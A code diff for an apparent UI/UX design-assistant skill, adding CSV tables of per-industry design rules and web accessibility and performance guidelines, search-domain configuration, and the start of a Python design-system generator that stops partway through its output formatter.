+55,EV/Charging Ecosystem,Hero-Centric + Feature-Rich,Minimalism + Aurora UI,Electric Blue (#009CD1) + Green,Modern + Clear typography,Range estimation animations + Map interactions,"{""must_have"": ""charging-map"", ""must_have"": ""range-calculator""}",Poor map UX + Hidden costs,HIGH
+56,Subscription Box Service,Feature-Rich + Conversion,Vibrant & Block-based + Motion-Driven,Brand + Excitement colors,Engaging + Clear typography,Unboxing reveal animations + Product carousel,"{""must_have"": ""personalization-quiz"", ""must_have"": ""subscription-management""}",Confusing pricing + No unboxing preview,HIGH
+57,Podcast Platform,Storytelling + Feature-Rich,Dark Mode (OLED) + Minimalism,Dark + Audio waveform accents,Modern + Clear typography,Waveform visualizations + Episode transitions,"{""must_have"": ""audio-player-ux"", ""must_have"": ""episode-discovery""}",Poor audio player + Cluttered layout,HIGH
+58,Dating App,Social Proof + Feature-Rich,Vibrant & Block-based + Motion-Driven,Warm + Romantic (Pink/Red gradients),Modern + Friendly typography,Profile card swipe + Match animations,"{""must_have"": ""profile-cards"", ""must_have"": ""safety-features""}",Generic profiles + No safety,HIGH
+59,Micro-Credentials/Badges,Trust & Authority + Feature,Minimalism + Flat Design,Trust Blue + Gold (#FFD700),Professional + Clear typography,Badge reveal animations + Progress tracking,"{""must_have"": ""credential-verification"", ""must_have"": ""progress-display""}",No verification + Hidden progress,MEDIUM
+60,Knowledge Base/Documentation,FAQ + Minimal,Minimalism + Accessible & Ethical,Clean hierarchy + Minimal color,Clear + Readable typography,Search highlight + Smooth scrolling,"{""must_have"": ""search-first"", ""must_have"": ""version-switching""}",Poor navigation + No search,HIGH
+61,Hyperlocal Services,Conversion + Feature-Rich,Minimalism + Vibrant & Block-based,Location markers + Trust colors,Clear + Functional typography,Map hover + Provider card reveals,"{""must_have"": ""map-integration"", ""must_have"": ""booking-system""}",No map + Hidden reviews,HIGH
+62,Luxury/Premium Brand,Storytelling + Feature-Rich,Liquid Glass + Glassmorphism,Black + Gold (#FFD700) + White,Elegant + Refined typography,Slow parallax + Premium reveals (400-600ms),"{""must_have"": ""high-quality-imagery"", ""must_have"": ""storytelling""}",Cheap visuals + Fast animations,HIGH
+63,Fitness/Gym App,Feature-Rich + Data,Vibrant & Block-based + Dark Mode (OLED),Energetic (Orange #FF6B35) + Dark bg,Bold + Motivational typography,Progress ring animations + Achievement unlocks,"{""must_have"": ""progress-tracking"", ""must_have"": ""workout-plans""}",Static design + No gamification,HIGH
+64,Hotel/Hospitality,Hero-Centric + Social Proof,Liquid Glass + Minimalism,Warm neutrals + Gold (#D4AF37),Elegant + Welcoming typography,Room gallery + Amenity reveals,"{""must_have"": ""room-booking"", ""must_have"": ""virtual-tour""}",Poor photos + Complex booking,HIGH
+65,Wedding/Event Planning,Storytelling + Social Proof,Soft UI Evolution + Aurora UI,Soft Pink (#FFD6E0) + Gold + Cream,Elegant + Romantic typography,Gallery reveals + Timeline animations,"{""must_have"": ""portfolio-gallery"", ""must_have"": ""planning-tools""}",Generic templates + No portfolio,HIGH
+66,Insurance Platform,Conversion + Trust,Trust & Authority + Flat Design,Trust Blue (#0066CC) + Green + Neutral,Clear + Professional typography,Quote calculator animations + Policy comparison,"{""must_have"": ""quote-calculator"", ""must_have"": ""policy-comparison""}",Confusing pricing + No trust signals + AI purple/pink gradients,HIGH
+67,Banking/Traditional Finance,Trust & Authority + Feature,Minimalism + Accessible & Ethical,Navy (#0A1628) + Trust Blue + Gold,Professional + Trustworthy typography,Smooth number animations + Security indicators,"{""must_have"": ""security-first"", ""must_have"": ""accessibility""}",Playful design + Poor security UX + AI purple/pink gradients,HIGH
+68,Online Course/E-learning,Feature-Rich + Social Proof,Claymorphism + Vibrant & Block-based,Vibrant learning colors + Progress green,Friendly + Engaging typography,Progress bar animations + Certificate reveals,"{""must_have"": ""progress-tracking"", ""must_have"": ""video-player""}",Boring design + No gamification,HIGH
+69,Non-profit/Charity,Storytelling + Trust,Accessible & Ethical + Organic Biophilic,Cause-related colors + Trust + Warm,Heartfelt + Readable typography,Impact counter animations + Story reveals,"{""must_have"": ""impact-stories"", ""must_have"": ""donation-transparency""}",No impact data + Hidden financials,HIGH
+70,Florist/Plant Shop,Hero-Centric + Conversion,Organic Biophilic + Vibrant & Block-based,Natural Green + Floral pinks/purples,Elegant + Natural typography,Product reveal + Seasonal transitions,"{""must_have"": ""delivery-scheduling"", ""must_have"": ""care-guides""}",Poor imagery + No seasonal content,MEDIUM
+71,Bakery/Cafe,Hero-Centric + Conversion,Vibrant & Block-based + Soft UI Evolution,Warm Brown + Cream + Appetizing accents,Warm + Inviting typography,Menu hover + Order animations,"{""must_have"": ""menu-display"", ""must_have"": ""online-ordering""}",Poor food photos + Hidden hours,HIGH
+72,Coffee Shop,Hero-Centric + Minimal,Minimalism + Organic Biophilic,Coffee Brown (#6F4E37) + Cream + Warm,Cozy + Clean typography,Menu transitions + Loyalty animations,"{""must_have"": ""menu"", ""if_loyalty"": ""add-rewards-system""}",Generic design + No atmosphere,MEDIUM
+73,Brewery/Winery,Storytelling + Hero-Centric,Motion-Driven + Storytelling-Driven,Deep amber/burgundy + Gold + Craft,Artisanal + Heritage typography,Tasting note reveals + Heritage timeline,"{""must_have"": ""product-showcase"", ""must_have"": ""story-heritage""}",Generic product pages + No story,HIGH
+74,Airline,Conversion + Feature-Rich,Minimalism + Glassmorphism,Sky Blue + Brand colors + Trust,Clear + Professional typography,Flight search animations + Boarding pass reveals,"{""must_have"": ""flight-search"", ""must_have"": ""mobile-first""}",Complex booking + Poor mobile,HIGH
+75,Magazine/Blog,Storytelling + Hero-Centric,Swiss Modernism 2.0 + Motion-Driven,Editorial colors + Brand + Clean white,Editorial + Elegant typography,Article transitions + Category reveals,"{""must_have"": ""article-showcase"", ""must_have"": ""newsletter-signup""}",Poor typography + Slow loading,HIGH
+76,Freelancer Platform,Feature-Rich + Conversion,Flat Design + Minimalism,Professional Blue + Success Green,Clear + Professional typography,Skill match animations + Review reveals,"{""must_have"": ""portfolio-display"", ""must_have"": ""skill-matching""}",Poor profiles + No reviews,HIGH
+77,Consulting Firm,Trust & Authority + Minimal,Trust & Authority + Minimalism,Navy + Gold + Professional grey,Authoritative + Clear typography,Case study reveals + Team profiles,"{""must_have"": ""case-studies"", ""must_have"": ""thought-leadership""}",Generic content + No credentials + AI purple/pink gradients,HIGH
+78,Marketing Agency,Storytelling + Feature-Rich,Brutalism + Motion-Driven,Bold brand colors + Creative freedom,Bold + Expressive typography,Portfolio reveals + Results animations,"{""must_have"": ""portfolio"", ""must_have"": ""results-metrics""}",Boring design + Hidden work,HIGH
+79,Event Management,Hero-Centric + Feature-Rich,Vibrant & Block-based + Motion-Driven,Event theme colors + Excitement accents,Bold + Engaging typography,Countdown timer + Registration flow,"{""must_have"": ""registration"", ""must_have"": ""agenda-display""}",Confusing registration + No countdown,HIGH
+80,Conference/Webinar Platform,Feature-Rich + Conversion,Glassmorphism + Minimalism,Professional Blue + Video accent,Professional + Clear typography,Live stream integration + Agenda transitions,"{""must_have"": ""registration"", ""must_have"": ""speaker-profiles""}",Poor video UX + No networking,HIGH
+81,Membership/Community,Social Proof + Conversion,Vibrant & Block-based + Soft UI Evolution,Community brand colors + Engagement,Friendly + Engaging typography,Member counter + Benefit reveals,"{""must_have"": ""member-benefits"", ""must_have"": ""pricing-tiers""}",Hidden benefits + No community proof,HIGH
+82,Newsletter Platform,Minimal + Conversion,Minimalism + Flat Design,Brand primary + Clean white + CTA,Clean + Readable typography,Subscribe form + Archive reveals,"{""must_have"": ""subscribe-form"", ""must_have"": ""sample-content""}",Complex signup + No preview,MEDIUM
+83,Digital Products/Downloads,Feature-Rich + Conversion,Vibrant & Block-based + Motion-Driven,Product colors + Brand + Success green,Modern + Clear typography,Product preview + Instant delivery animations,"{""must_have"": ""product-preview"", ""must_have"": ""instant-delivery""}",No preview + Slow delivery,HIGH
+84,Church/Religious Organization,Hero-Centric + Social Proof,Accessible & Ethical + Soft UI Evolution,Warm Gold + Deep Purple/Blue + White,Welcoming + Clear typography,Service time highlights + Event calendar,"{""must_have"": ""service-times"", ""must_have"": ""community-events""}",Outdated design + Hidden info,MEDIUM
+85,Sports Team/Club,Hero-Centric + Feature-Rich,Vibrant & Block-based + Motion-Driven,Team colors + Energetic accents,Bold + Impactful typography,Score animations + Schedule reveals,"{""must_have"": ""schedule"", ""must_have"": ""roster""}",Static content + Poor fan engagement,HIGH
+86,Museum/Gallery,Storytelling + Feature-Rich,Minimalism + Motion-Driven,Art-appropriate neutrals + Exhibition accents,Elegant + Minimal typography,Virtual tour + Collection reveals,"{""must_have"": ""virtual-tour"", ""must_have"": ""exhibition-info""}",Cluttered layout + No online access,HIGH
+87,Theater/Cinema,Hero-Centric + Conversion,Dark Mode (OLED) + Motion-Driven,Dark + Spotlight accents + Gold,Dramatic + Bold typography,Seat selection + Trailer reveals,"{""must_have"": ""showtimes"", ""must_have"": ""seat-selection""}",Poor booking UX + No trailers,HIGH
+88,Language Learning App,Feature-Rich + Social Proof,Claymorphism + Vibrant & Block-based,Playful colors + Progress indicators,Friendly + Clear typography,Progress animations + Achievement unlocks,"{""must_have"": ""progress-tracking"", ""must_have"": ""gamification""}",Boring design + No motivation,HIGH
+89,Coding Bootcamp,Feature-Rich + Social Proof,Dark Mode (OLED) + Minimalism,Code editor colors + Brand + Success,Technical + Clear typography,Terminal animations + Career outcome reveals,"{""must_have"": ""curriculum"", ""must_have"": ""career-outcomes""}",Light mode only + Hidden results,HIGH
+90,Cybersecurity Platform,Trust & Authority + Real-Time,Cyberpunk UI + Dark Mode (OLED),Matrix Green (#00FF00) + Deep Black,Technical + Clear typography,Threat visualization + Alert animations,"{""must_have"": ""real-time-monitoring"", ""must_have"": ""threat-display""}",Light mode + Poor data viz,HIGH
+91,Developer Tool/IDE,Minimal + Documentation,Dark Mode (OLED) + Minimalism,Dark syntax theme + Blue focus,Monospace + Functional typography,Syntax highlighting + Command palette,"{""must_have"": ""keyboard-shortcuts"", ""must_have"": ""documentation""}",Light mode default + Slow performance,HIGH
+92,Biotech/Life Sciences,Storytelling + Data,Glassmorphism + Clean Science,Sterile White + DNA Blue + Life Green,Scientific + Clear typography,Data visualization + Research reveals,"{""must_have"": ""data-accuracy"", ""must_have"": ""clean-aesthetic""}",Cluttered data + Poor credibility,HIGH
+93,Space Tech/Aerospace,Immersive + Feature-Rich,Holographic/HUD + Dark Mode,Deep Space Black + Star White + Metallic,Futuristic + Precise typography,Telemetry animations + 3D renders,"{""must_have"": ""high-tech-feel"", ""must_have"": ""precision-data""}",Generic design + No immersion,HIGH
+94,Architecture/Interior,Portfolio + Hero-Centric,Exaggerated Minimalism + High Imagery,Monochrome + Gold Accent + High Imagery,Architectural + Elegant typography,Project gallery + Blueprint reveals,"{""must_have"": ""high-res-images"", ""must_have"": ""project-portfolio""}",Poor imagery + Cluttered layout,HIGH
+95,Quantum Computing,Immersive + Interactive,Holographic/HUD + Dark Mode,Quantum Blue (#00FFFF) + Deep Black,Futuristic + Scientific typography,Probability visualizations + Qubit state animations,"{""must_have"": ""complexity-visualization"", ""must_have"": ""scientific-credibility""}",Generic tech design + No viz,HIGH
+96,Biohacking/Longevity App,Data-Dense + Storytelling,Biomimetic/Organic 2.0 + Minimalism,Cellular Pink/Red + DNA Blue + White,Scientific + Clear typography,Biological data viz + Progress animations,"{""must_have"": ""data-privacy"", ""must_have"": ""scientific-credibility""}",Generic health app + No privacy,HIGH
+97,Autonomous Drone Fleet,Real-Time + Feature-Rich,HUD/Sci-Fi FUI + Real-Time,Tactical Green + Alert Red + Map Dark,Technical + Functional typography,Telemetry animations + 3D spatial awareness,"{""must_have"": ""real-time-telemetry"", ""must_have"": ""safety-alerts""}",Slow updates + Poor spatial viz,HIGH
+98,Generative Art Platform,Showcase + Feature-Rich,Minimalism + Gen Z Chaos,Neutral (#F5F5F5) + User Content,Minimal + Content-focused typography,Gallery masonry + Minting animations,"{""must_have"": ""fast-loading"", ""must_have"": ""creator-attribution""}",Heavy chrome + Slow loading,HIGH
+99,Spatial Computing OS,Immersive + Interactive,Spatial UI (VisionOS) + Glassmorphism,Frosted Glass + System Colors + Depth,Spatial + Readable typography,Depth hierarchy + Gaze interactions,"{""must_have"": ""depth-hierarchy"", ""must_have"": ""environment-awareness""}",2D design + No spatial depth,HIGH
+100,Sustainable Energy/Climate,Data + Trust,Organic Biophilic + E-Ink/Paper,Earth Green + Sky Blue + Solar Yellow,Clear + Informative typography,Impact viz + Progress animations,"{""must_have"": ""data-transparency"", ""must_have"": ""impact-visualization""}",Greenwashing + No real data,HIGH

skills/ui-ux-pro-max/data/web-interface.csv

@@ -0,0 +1,31 @@
+No,Category,Issue,Keywords,Platform,Description,Do,Don't,Code Example Good,Code Example Bad,Severity
+1,Accessibility,Icon Button Labels,icon button aria-label,Web,Icon-only buttons must have accessible names,Add aria-label to icon buttons,Icon button without label,"<button aria-label='Close'><XIcon /></button>","<button><XIcon /></button>",Critical
+2,Accessibility,Form Control Labels,form input label aria,Web,All form controls need labels or aria-label,Use label element or aria-label,Input without accessible name,"<label for='email'>Email</label><input id='email' />","<input placeholder='Email' />",Critical
+3,Accessibility,Keyboard Handlers,keyboard onclick onkeydown,Web,Interactive elements must support keyboard interaction,Add onKeyDown alongside onClick,Click-only interaction,"<div onClick={fn} onKeyDown={fn} tabIndex={0}>","<div onClick={fn}>",High
+4,Accessibility,Semantic HTML,semantic button a label,Web,Use semantic HTML before ARIA attributes,Use button/a/label elements,Div with role attribute,"<button onClick={fn}>Submit</button>","<div role='button' onClick={fn}>Submit</div>",High
+5,Accessibility,Aria Live,aria-live polite async,Web,Async updates need aria-live for screen readers,Add aria-live='polite' for dynamic content,Silent async updates,"<div aria-live='polite'>{status}</div>","<div>{status}</div> // no announcement",Medium
+6,Accessibility,Decorative Icons,aria-hidden decorative icon,Web,Decorative icons should be hidden from screen readers,Add aria-hidden='true' to decorative icons,Decorative icon announced,"<Icon aria-hidden='true' />","<Icon /> // announced as 'image'",Medium
+7,Focus,Visible Focus States,focus-visible outline ring,Web,All interactive elements need visible focus states,Use :focus-visible with ring/outline,No focus indication,"focus-visible:ring-2 focus-visible:ring-blue-500","outline-none // no replacement",Critical
+8,Focus,Never Remove Outline,outline-none focus replacement,Web,Never remove outline without providing replacement,Replace outline with visible alternative,Remove outline completely,"focus:outline-none focus:ring-2","focus:outline-none // nothing else",Critical
+9,Focus,Checkbox Radio Hit Target,checkbox radio label target,Web,Checkbox/radio must share hit target with label,Wrap input and label together,Separate tiny checkbox,"<label class='flex gap-2'><input type='checkbox' /><span>Option</span></label>","<input type='checkbox' id='x' /><label for='x'>Option</label>",Medium
+10,Forms,Autocomplete Attribute,autocomplete input form,Web,Inputs need autocomplete attribute for autofill,Add appropriate autocomplete value,Missing autocomplete,"<input autocomplete='email' type='email' />","<input type='email' />",High
+11,Forms,Semantic Input Types,input type email tel url,Web,Use semantic input type attributes,Use email/tel/url/number types,text type for everything,"<input type='email' />","<input type='text' /> // for email",Medium
+12,Forms,Never Block Paste,paste onpaste password,Web,Never prevent paste functionality,Allow paste on all inputs,Block paste on password/code,"<input type='password' />","<input onPaste={e => e.preventDefault()} />",High
+13,Forms,Spellcheck Disable,spellcheck email code,Web,Disable spellcheck on emails and codes,Set spellcheck='false' on codes,Spellcheck on technical input,"<input spellCheck='false' type='email' />","<input type='email' /> // red squiggles",Low
+14,Forms,Submit Button Enabled,submit button disabled loading,Web,Keep submit enabled and show spinner during requests,Show loading spinner keep enabled,Disable button during submit,"<button>{loading ? <Spinner /> : 'Submit'}</button>","<button disabled={loading}>Submit</button>",Medium
+15,Forms,Inline Errors,error message inline focus,Web,Show error messages inline near the problem field,Inline error with focus on first error,Single error at top,"<input /><span class='text-red-500'>{error}</span>","<div class='error'>{allErrors}</div> // at top",High
+16,Performance,Virtualize Lists,virtualize list 50 items,Web,Virtualize lists exceeding 50 items,Use virtual list for large datasets,Render all items,"<VirtualList items={items} />","items.map(item => <Item />)",High
+17,Performance,Avoid Layout Reads,layout read render getboundingclientrect,Web,Avoid layout reads during render phase,Read layout in effects or callbacks,getBoundingClientRect in render,"useEffect(() => { el.getBoundingClientRect() })","const rect = el.getBoundingClientRect() // in render",Medium
+18,Performance,Batch DOM Operations,batch dom write read,Web,Group DOM operations to minimize reflows,Batch writes then reads,Interleave reads and writes,"writes.forEach(w => w()); reads.forEach(r => r())","write(); read(); write(); read(); // thrashing",Medium
+19,Performance,Preconnect CDN,preconnect link cdn,Web,Add preconnect links for CDN domains,Preconnect to known domains,"<link rel='preconnect' href='https://cdn.example.com' />","// no preconnect hint",Low
+20,Performance,Lazy Load Images,lazy loading image below-fold,Web,Lazy-load images below the fold,Use loading='lazy' for below-fold images,Load all images eagerly,"<img loading='lazy' src='...' />","<img src='...' /> // above fold only",Medium
+21,State,URL Reflects State,url state query params,Web,URL should reflect current UI state,Sync filters/tabs/pagination to URL,State only in memory,"?tab=settings&page=2","useState only // lost on refresh",High
+22,State,Deep Linking,deep link stateful component,Web,Stateful components should support deep-linking,Enable sharing current view via URL,No shareable state,"router.push({ query: { ...filters } })","setFilters(f) // not in URL",Medium
+23,State,Confirm Destructive Actions,confirm destructive delete modal,Web,Destructive actions require confirmation,Show confirmation dialog before delete,Delete without confirmation,"if (confirm('Delete?')) delete()","onClick={delete} // no confirmation",High
+24,Typography,Proper Unicode,unicode ellipsis quotes,Web,Use proper Unicode characters,Use ... curly quotes proper dashes,ASCII approximations,"'Hello...' with proper ellipsis","'Hello...' with three dots",Low
+25,Typography,Text Overflow,truncate line-clamp overflow,Web,Handle text overflow properly,Use truncate/line-clamp/break-words,Text overflows container,"<p class='truncate'>Long text...</p>","<p>Long text...</p> // overflows",Medium
+26,Typography,Non-Breaking Spaces,nbsp unit brand,Web,Use non-breaking spaces for units and brand names,Use &nbsp; between number and unit,"10&nbsp;kg or Next.js&nbsp;14","10 kg // may wrap",Low
+27,Anti-Pattern,No Zoom Disable,viewport zoom disable,Web,Never disable zoom in viewport meta,Allow user zoom,"<meta name='viewport' content='width=device-width'>","<meta name='viewport' content='maximum-scale=1'>",Critical
+28,Anti-Pattern,No Transition All,transition all specific,Web,Avoid transition: all - specify properties,Transition specific properties,transition: all,"transition-colors duration-200","transition-all duration-200",Medium
+29,Anti-Pattern,Outline Replacement,outline-none ring focus,Web,Never use outline-none without replacement,Provide visible focus replacement,Remove outline with nothing,"focus:outline-none focus:ring-2 focus:ring-blue-500","focus:outline-none // alone",Critical
+30,Anti-Pattern,No Hardcoded Dates,date format intl locale,Web,Use Intl for date/number formatting,Use Intl.DateTimeFormat,Hardcoded date format,"new Intl.DateTimeFormat('en').format(date)","date.toLocaleDateString() // or manual format",Medium

skills/ui-ux-pro-max/scripts/core.py

@@ -54,6 +54,21 @@ CSV_CONFIG = {
         "file": "typography.csv",
         "search_cols": ["Font Pairing Name", "Category", "Mood/Style Keywords", "Best For", "Heading Font", "Body Font"],
         "output_cols": ["Font Pairing Name", "Category", "Heading Font", "Body Font", "Mood/Style Keywords", "Best For", "Google Fonts URL", "CSS Import", "Tailwind Config", "Notes"]
+    },
+    "icons": {
+        "file": "icons.csv",
+        "search_cols": ["Category", "Icon Name", "Keywords", "Best For"],
+        "output_cols": ["Category", "Icon Name", "Keywords", "Library", "Import Code", "Usage", "Best For", "Style"]
+    },
+    "react": {
+        "file": "react-performance.csv",
+        "search_cols": ["Category", "Issue", "Keywords", "Description"],
+        "output_cols": ["Category", "Issue", "Platform", "Description", "Do", "Don't", "Code Example Good", "Code Example Bad", "Severity"]
+    },
+    "web": {
+        "file": "web-interface.csv",
+        "search_cols": ["Category", "Issue", "Keywords", "Description"],
+        "output_cols": ["Category", "Issue", "Platform", "Description", "Do", "Don't", "Code Example Good", "Code Example Bad", "Severity"]
     }
 }
 
@@ -67,7 +82,8 @@ STACK_CONFIG = {
     "svelte": {"file": "stacks/svelte.csv"},
     "swiftui": {"file": "stacks/swiftui.csv"},
     "react-native": {"file": "stacks/react-native.csv"},
-    "flutter": {"file": "stacks/flutter.csv"}
+    "flutter": {"file": "stacks/flutter.csv"},
+    "shadcn": {"file": "stacks/shadcn.csv"}
 }
 
 # Common columns for all stacks
@@ -186,7 +202,10 @@ def detect_domain(query):
         "prompt": ["prompt", "css", "implementation", "variable", "checklist", "tailwind"],
         "style": ["style", "design", "ui", "minimalism", "glassmorphism", "neumorphism", "brutalism", "dark mode", "flat", "aurora"],
         "ux": ["ux", "usability", "accessibility", "wcag", "touch", "scroll", "animation", "keyboard", "navigation", "mobile"],
-        "typography": ["font", "typography", "heading", "serif", "sans"]
+        "typography": ["font", "typography", "heading", "serif", "sans"],
+        "icons": ["icon", "icons", "lucide", "heroicons", "symbol", "glyph", "pictogram", "svg icon"],
+        "react": ["react", "next.js", "nextjs", "suspense", "memo", "usecallback", "useeffect", "rerender", "bundle", "waterfall", "barrel", "dynamic import", "rsc", "server component"],
+        "web": ["aria", "focus", "outline", "semantic", "virtualize", "autocomplete", "form", "input type", "preconnect"]
     }
 
     scores = {domain: sum(1 for kw in keywords if kw in query_lower) for domain, keywords in domain_keywords.items()}

skills/ui-ux-pro-max/scripts/design_system.py

@@ -0,0 +1,487 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+Design System Generator - Aggregates search results and applies reasoning
+to generate comprehensive design system recommendations.
+
+Usage:
+    from design_system import generate_design_system
+    result = generate_design_system("SaaS dashboard", "My Project")
+"""
+
+import csv
+import json
+from pathlib import Path
+from core import search, DATA_DIR
+
+
+# ============ CONFIGURATION ============
+REASONING_FILE = "ui-reasoning.csv"
+
+SEARCH_CONFIG = {
+    "product": {"max_results": 1},
+    "style": {"max_results": 3},
+    "color": {"max_results": 2},
+    "landing": {"max_results": 2},
+    "typography": {"max_results": 2}
+}
+
+
+# ============ DESIGN SYSTEM GENERATOR ============
+class DesignSystemGenerator:
+    """Generates design system recommendations from aggregated searches."""
+
+    def __init__(self):
+        self.reasoning_data = self._load_reasoning()
+
+    def _load_reasoning(self) -> list:
+        """Load reasoning rules from CSV."""
+        filepath = DATA_DIR / REASONING_FILE
+        if not filepath.exists():
+            return []
+        with open(filepath, 'r', encoding='utf-8') as f:
+            return list(csv.DictReader(f))
+
+    def _multi_domain_search(self, query: str, style_priority: list = None) -> dict:
+        """Execute searches across multiple domains."""
+        results = {}
+        for domain, config in SEARCH_CONFIG.items():
+            if domain == "style" and style_priority:
+                # For style, also search with priority keywords
+                priority_query = " ".join(style_priority[:2]) if style_priority else query
+                combined_query = f"{query} {priority_query}"
+                results[domain] = search(combined_query, domain, config["max_results"])
+            else:
+                results[domain] = search(query, domain, config["max_results"])
+        return results
+
+    def _find_reasoning_rule(self, category: str) -> dict:
+        """Find matching reasoning rule for a category."""
+        category_lower = category.lower()
+
+        # Try exact match first
+        for rule in self.reasoning_data:
+            if rule.get("UI_Category", "").lower() == category_lower:
+                return rule
+
+        # Try partial match
+        for rule in self.reasoning_data:
+            ui_cat = rule.get("UI_Category", "").lower()
+            if ui_cat in category_lower or category_lower in ui_cat:
+                return rule
+
+        # Try keyword match
+        for rule in self.reasoning_data:
+            ui_cat = rule.get("UI_Category", "").lower()
+            keywords = ui_cat.replace("/", " ").replace("-", " ").split()
+            if any(kw in category_lower for kw in keywords):
+                return rule
+
+        return {}
+
+    def _apply_reasoning(self, category: str, search_results: dict) -> dict:
+        """Apply reasoning rules to search results."""
+        rule = self._find_reasoning_rule(category)
+
+        if not rule:
+            return {
+                "pattern": "Hero + Features + CTA",
+                "style_priority": ["Minimalism", "Flat Design"],
+                "color_mood": "Professional",
+                "typography_mood": "Clean",
+                "key_effects": "Subtle hover transitions",
+                "anti_patterns": "",
+                "decision_rules": {},
+                "severity": "MEDIUM"
+            }
+
+        # Parse decision rules JSON
+        decision_rules = {}
+        try:
+            decision_rules = json.loads(rule.get("Decision_Rules", "{}"))
+        except json.JSONDecodeError:
+            pass
+
+        return {
+            "pattern": rule.get("Recommended_Pattern", ""),
+            "style_priority": [s.strip() for s in rule.get("Style_Priority", "").split("+")],
+            "color_mood": rule.get("Color_Mood", ""),
+            "typography_mood": rule.get("Typography_Mood", ""),
+            "key_effects": rule.get("Key_Effects", ""),
+            "anti_patterns": rule.get("Anti_Patterns", ""),
+            "decision_rules": decision_rules,
+            "severity": rule.get("Severity", "MEDIUM")
+        }
+
+    def _select_best_match(self, results: list, priority_keywords: list) -> dict:
+        """Select best matching result based on priority keywords."""
+        if not results:
+            return {}
+
+        if not priority_keywords:
+            return results[0]
+
+        # First: try exact style name match
+        for priority in priority_keywords:
+            priority_lower = priority.lower().strip()
+            for result in results:
+                style_name = result.get("Style Category", "").lower()
+                if priority_lower in style_name or style_name in priority_lower:
+                    return result
+
+        # Second: score by keyword match in all fields
+        scored = []
+        for result in results:
+            result_str = str(result).lower()
+            score = 0
+            for kw in priority_keywords:
+                kw_lower = kw.lower().strip()
+                # Higher score for style name match
+                if kw_lower in result.get("Style Category", "").lower():
+                    score += 10
+                # Lower score for keyword field match
+                elif kw_lower in result.get("Keywords", "").lower():
+                    score += 3
+                # Even lower for other field matches
+                elif kw_lower in result_str:
+                    score += 1
+            scored.append((score, result))
+
+        scored.sort(key=lambda x: x[0], reverse=True)
+        return scored[0][1] if scored and scored[0][0] > 0 else results[0]
+
+    def _extract_results(self, search_result: dict) -> list:
+        """Extract results list from search result dict."""
+        return search_result.get("results", [])
+
+    def generate(self, query: str, project_name: str = None) -> dict:
+        """Generate complete design system recommendation."""
+        # Step 1: First search product to get category
+        product_result = search(query, "product", 1)
+        product_results = product_result.get("results", [])
+        category = "General"
+        if product_results:
+            category = product_results[0].get("Product Type", "General")
+
+        # Step 2: Get reasoning rules for this category
+        reasoning = self._apply_reasoning(category, {})
+        style_priority = reasoning.get("style_priority", [])
+
+        # Step 3: Multi-domain search with style priority hints
+        search_results = self._multi_domain_search(query, style_priority)
+        search_results["product"] = product_result  # Reuse product search
+
+        # Step 4: Select best matches from each domain using priority
+        style_results = self._extract_results(search_results.get("style", {}))
+        color_results = self._extract_results(search_results.get("color", {}))
+        typography_results = self._extract_results(search_results.get("typography", {}))
+        landing_results = self._extract_results(search_results.get("landing", {}))
+
+        best_style = self._select_best_match(style_results, reasoning.get("style_priority", []))
+        best_color = color_results[0] if color_results else {}
+        best_typography = typography_results[0] if typography_results else {}
+        best_landing = landing_results[0] if landing_results else {}
+
+        # Step 5: Build final recommendation
+        # Combine effects from both reasoning and style search
+        style_effects = best_style.get("Effects & Animation", "")
+        reasoning_effects = reasoning.get("key_effects", "")
+        combined_effects = style_effects if style_effects else reasoning_effects
+
+        return {
+            "project_name": project_name or query.upper(),
+            "category": category,
+            "pattern": {
+                "name": best_landing.get("Pattern Name", reasoning.get("pattern", "Hero + Features + CTA")),
+                "sections": best_landing.get("Section Order", "Hero > Features > CTA"),
+                "cta_placement": best_landing.get("Primary CTA Placement", "Above fold"),
+                "color_strategy": best_landing.get("Color Strategy", ""),
+                "conversion": best_landing.get("Conversion Optimization", "")
+            },
+            "style": {
+                "name": best_style.get("Style Category", "Minimalism"),
+                "type": best_style.get("Type", "General"),
+                "effects": style_effects,
+                "keywords": best_style.get("Keywords", ""),
+                "best_for": best_style.get("Best For", ""),
+                "performance": best_style.get("Performance", ""),
+                "accessibility": best_style.get("Accessibility", "")
+            },
+            "colors": {
+                "primary": best_color.get("Primary (Hex)", "#2563EB"),
+                "secondary": best_color.get("Secondary (Hex)", "#3B82F6"),
+                "cta": best_color.get("CTA (Hex)", "#F97316"),
+                "background": best_color.get("Background (Hex)", "#F8FAFC"),
+                "text": best_color.get("Text (Hex)", "#1E293B"),
+                "notes": best_color.get("Notes", "")
+            },
+            "typography": {
+                "heading": best_typography.get("Heading Font", "Inter"),
+                "body": best_typography.get("Body Font", "Inter"),
+                "mood": best_typography.get("Mood/Style Keywords", reasoning.get("typography_mood", "")),
+                "best_for": best_typography.get("Best For", ""),
+                "google_fonts_url": best_typography.get("Google Fonts URL", ""),
+                "css_import": best_typography.get("CSS Import", "")
+            },
+            "key_effects": combined_effects,
+            "anti_patterns": reasoning.get("anti_patterns", ""),
+            "decision_rules": reasoning.get("decision_rules", {}),
+            "severity": reasoning.get("severity", "MEDIUM")
+        }
+
+
+# ============ OUTPUT FORMATTERS ============
+BOX_WIDTH = 90  # Wider box for more content
+
+def format_ascii_box(design_system: dict) -> str:
+    """Format design system as ASCII box with emojis (MCP-style)."""
+    project = design_system.get("project_name", "PROJECT")
+    pattern = design_system.get("pattern", {})
+    style = design_system.get("style", {})
+    colors = design_system.get("colors", {})
+    typography = design_system.get("typography", {})
+    effects = design_system.get("key_effects", "")
+    anti_patterns = design_system.get("anti_patterns", "")
+
+    def wrap_text(text: str, prefix: str, width: int) -> list:
+        """Wrap long text into multiple lines."""
+        if not text:
+            return []
+        words = text.split()
+        lines = []
+        current_line = prefix
+        for word in words:
+            if len(current_line) + len(word) + 1 <= width - 2:
+                current_line += (" " if current_line != prefix else "") + word
+            else:
+                if current_line != prefix:
+                    lines.append(current_line)
+                current_line = prefix + word
+        if current_line != prefix:
+            lines.append(current_line)
+        return lines
+
+    # Build sections from pattern
+    sections = pattern.get("sections", "").split(">")
+    sections = [s.strip() for s in sections if s.strip()]
+
+    # Build output lines
+    lines = []
+    w = BOX_WIDTH - 1
+
+    lines.append("+" + "-" * w + "+")
+    lines.append(f"|  TARGET: {project} - RECOMMENDED DESIGN SYSTEM".ljust(BOX_WIDTH) + "|")
+    lines.append("+" + "-" * w + "+")
+    lines.append("|" + " " * BOX_WIDTH + "|")
+
+    # Pattern section
+    lines.append(f"|  PATTERN: {pattern.get('name', '')}".ljust(BOX_WIDTH) + "|")
+    if pattern.get('conversion'):
